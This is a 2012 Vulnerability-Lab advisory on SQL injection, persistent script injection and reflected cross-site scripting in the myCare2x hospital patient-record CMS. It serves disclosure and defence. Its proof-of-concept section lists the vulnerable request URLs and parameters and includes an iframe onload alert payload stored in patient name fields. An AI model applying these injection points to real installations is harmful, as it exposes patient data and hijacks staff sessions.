myCare2x CMS - Multiple Web Vulnerabilities

Document Title:
===============
myCare2x CMS - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=524


Release Date:
=============
2012-05-02


Vulnerability Laboratory ID (VL-ID):
====================================
524


Common Vulnerability Scoring System:
====================================
7.5


Product & Service Introduction:
===============================
myCare2x is an web application. All program modules and data accesses are processed in the server. 
User only need a web browser, in order to use the myCare2x functions, so extensions or changes on 
the modules need no interferences at the clients.

- Apache HTTPD Server
- MySQL Database
- PHP

The spirit of Open Source also takes effect on implemented server software. myCare2x is based upon 
External linkApache as HTTP server and External linkMySQL as database management system. myCare2x is 
written in External linkPHP - an easy to learn and powerful scripting language.

(Copy of the Vendor Homepage: http://mycare2x.net/en/solution )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Researcher Team discovered multiple web vulnerabilities in myCare v2x CMS.


Vulnerability Disclosure Timeline:
==================================
2012-05-03:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
Multiple remote SQL Injection vulnerabilities are detected in myCare2x Content Management System.
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands 
on the affected application dbms. Successful exploitation of the vulnerability results in dbms & application compromise.
The vulnerability is located on the username post method.

Vulnerable Module(s):
				[+] &aktion  + &callurl
				[+] dept_nr
				[+] pid
				[+] Eintrag
				[+] name_last


Picture(s):
				../1.png
				../2.png

1.2
Multiple persistent input validation vulnerabilities are detected in myCare2x Content Management System.
The bugs allow remote attackers to implement/inject malicious script code on the application-side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) 
context manipulation. Exploitation requires low user inter action.


Vulnerable Module(s):
				[+] New Person - Insert new Person - Firstname, Lastname & Nickname
				   [-] Index - Listing (index.php - Search Results - Name (middle) +  Person Data Listing (right))



Picture(s):
				../3.png
				../4.png


1.3
Multiple non persistent cross site scripting vulnerabilities are detected in myCare2x Content Management System.
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with high required 
user inter action or local low privileged user account. Successful exploitation can result in account steal, phishing 
& client-side content request manipulation.


Vulnerable Module(s):
				[+] mycare_ward_print - Favorite
				[+] mycare2x_pat_info - Aktion
				[+] mycare2x_proc_search - LN
				[+] zusatzcode


Picture(s):
				../5.png
				../6.png


Proof of Concept (PoC):
=======================
1.1
The SQL Injection vulnerabilities can be exploited by remote attacker without user inter action. 
For demonstration or reproduce ...


PoC:
http://127.0.0.1/modules/patient/mycare2x_pat_info.php?sid=moq09jafqbl4leasdpvcl7qi56&lang=-1%27&aktion=-1%27[SQL-Injection!]
&callurl=-1%27[SQL-Injection!]&myPid=403

http://127.0.0.1/modules/importer/mycare2x_importer.php?sid=6dlskul290sc3dg2ab0mlpa0a3&lang=de&fid=800000101&pid=596&dept_nr=-1%27[SQL-Injection!]
http://127.0.0.1/modules/importer/mycare2x_importer.php?sid=6dlskul290sc3dg2ab0mlpa0a3&lang=de&fid=800000101&pid=-1%27[SQL-Injection!]&dept_nr=11

http://127.0.0.1/modules/drg/mycare2x_proc_search.php?myAction=Suchen&myOpsEintrag=-

1%27[SQL-Injection!&val=&itemx=&mode=&sid=moq09jafqbl4ledgppvcl7qi56&lang=de&pn=100224&opnr=&ln=Gexxxn&fn=Brxo&bd=&dept_nr=&oprm=&display=
&group_nr=&edit=1&icdtype=&y=&m=&d=&zusatzcode=&keyword=[SQL-Injection!]

http://127.0.0.1/modules/patient/mycare_pid.php?pid=&ext_pid=&date_reg=&pat_type=Self&panel=1&title1=&title=&name_last=-

1%27[SQL-Injection!&name_first=&name_middle=&name_maiden=&name_others=&extern_access=&date_birth=&sex1=m&sex=m&civil_status1=&
civil_status=&scitizenship=...&citizenship=&sreligion=...&religion=&sethnic_orig=..ðnic_orig=&addr_str=&addr_str_nr=&addr_zip=
&addr_town=&addr_citytown=&addr_citytown_nr=&nat_id_nr=DE&country_state=&phone_1_code=&phone_1

_nr=&phone_2_code=&phone_2_nr=&cellphone_1_nr=&cellphone_2_nr=&fax=&email=&insurance_name=&insurance_instnr=
&insurance_vknr=&insurance_nr=&insurance_state=&insurance_state1=&insurance_card_expire=&sid=moq09jafqbl4ledgppvcl7qi56&lang=
en&myAction=&myFind=Find&myselectnr=&insurance_id=&nr=&edit=1&ref=&is_addon=&preselected_city=&i_acti

ve=0&i_max=2&activ_tab_id=0&recognition=&smartcard=&smartcarddata=

http://127.0.0.1/modules/patient/mycare_pid.php?pid=[SQL-Injection!]


1.2
The persistent input validation vulnerabilities can be exploited by remote attacker with low or medium required 
user inter action. For demonstration or reproduce ...

Affected: index.php - Search Results - Name (middle) +  Person Data Listing (right)

Review: User/Person Listing

<h2><img src="../../gui/img/common/default/ppd_case.gif">829: 
"><iframe src="a" onload='alert("VL")' <,="" "=""><iframe src=a onload=alert("VL") <<

URL: http://127.0.0.1/modules/patient/mycare_pid.php?pid=&ext_pid=&date_reg=2012-04-19+06%3A00%3A00&pat_type=
Self&panel=1&title1=&title=&name_last=%22%3E

%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C&name_first=%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%
3C&name_middle=%22%3E%3Ciframe+src%3Da+onload

%3Dalert%28%22VL%22%29+%3C&name_maiden=%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+

%3C&name_others=&extern_access=&date_birth=&sex1=m&sex=m&civil_status1=&civil_status=&scitizenship=...&citizenship=&s
religion=...&religion=&sethnic_orig=..ðnic_orig

=&addr_str=&addr_str_nr=&addr_zip=&addr_town=&addr_citytown=&addr_citytown_nr=&nat_id_nr=DE&country_state=&phone_1_code=
&phone_1_nr=&phone_2_code=&phone_2_nr=&cellphon

e_1_nr=&cellphone_2_nr=&fax=&email=&insurance_name=&insurance_instnr=&insurance_vknr=&insurance_nr=&insurance_state=&insurance_state1=
&insurance_card_expire=&sid=moq09

jafqbl4ledgppvcl7qi56&lang=en&myAction=Save&myFind=Find&myselectnr=&insurance_id=&nr=&edit=1&ref=&is_addon=&preselected_city=
&i_active=0&i_max=2&activ_tab_id=0&recogni

tion=&smartcard=&smartcarddata=



1.3
The client side cross site scripting vulnerabilities can be exploited by remote attacker with medium or high required 
user inter action. For demonstration or reproduce ...

http://127.0.0.1/modules/nursing/mycare_ward_print.php?sid=moq09jafqbl4ledgppvcl7qi56&lang=de&favorites=[Cross Site Scripting!]
http://127.0.0.1/modules/nursing/mycare_ward_print.php?sid=moq09jafqbl4ledgppvcl7qi56&lang=[Cross Site Scripting!]&favorites=[Cross Site Scripting!]
http://127.0.0.1/modules/patient/mycare2x_pat_info.php?sid=moq09jafqbl4ledgppvcl7qi56&lang=de&aktion=[Cross Site Scripting!]&callurl=topwin&myPid=403
http://127.0.0.1/modules/patient/mycare2x_pat_info.php?sid=moq09jafqbl4ledgppvcl7qi56&lang=de&aktion=|PRI|AVE|FLB|&callurl=[Cross Site Scripting!]&myPid=403

http://127.0.0.1/modules/drg/mycare2x_proc_search.phpmyAction=Suchen&myOpsEintrag=1
&val=&itemx=&mode=&sid=moq09jafqbl4ledgppvcl7qi56&lang=de&pn=100224&opnr=&ln=[Cross Site Scripting!]&fn=Brxo&bd=&dept_nr=&oprm=&display=&group_nr=&edit=1&icdtype=&y=&m=&d=&zusatzcode=&keyword=2


Security Risk:
==============
1.1
The security risk of the remote sql injection vulnerabilities are estimated as critical.

1.2
The security risk of the persistent input validation vulnerabilities are estimated as medium(+).

1.3
The security risk of the client side cross site scripting vulnerabilities are estimated as low(+).


Credits & Authors:
==================
Vulnerability Laboratory [Research Team]  -    Ibrahim El-Sayed ([email protected])
Vulnerability Laboratory [Research Team]  -    Benjamin Kunz Mejri ([email protected])


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    [email protected] 	- [email protected] 	       - [email protected]
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory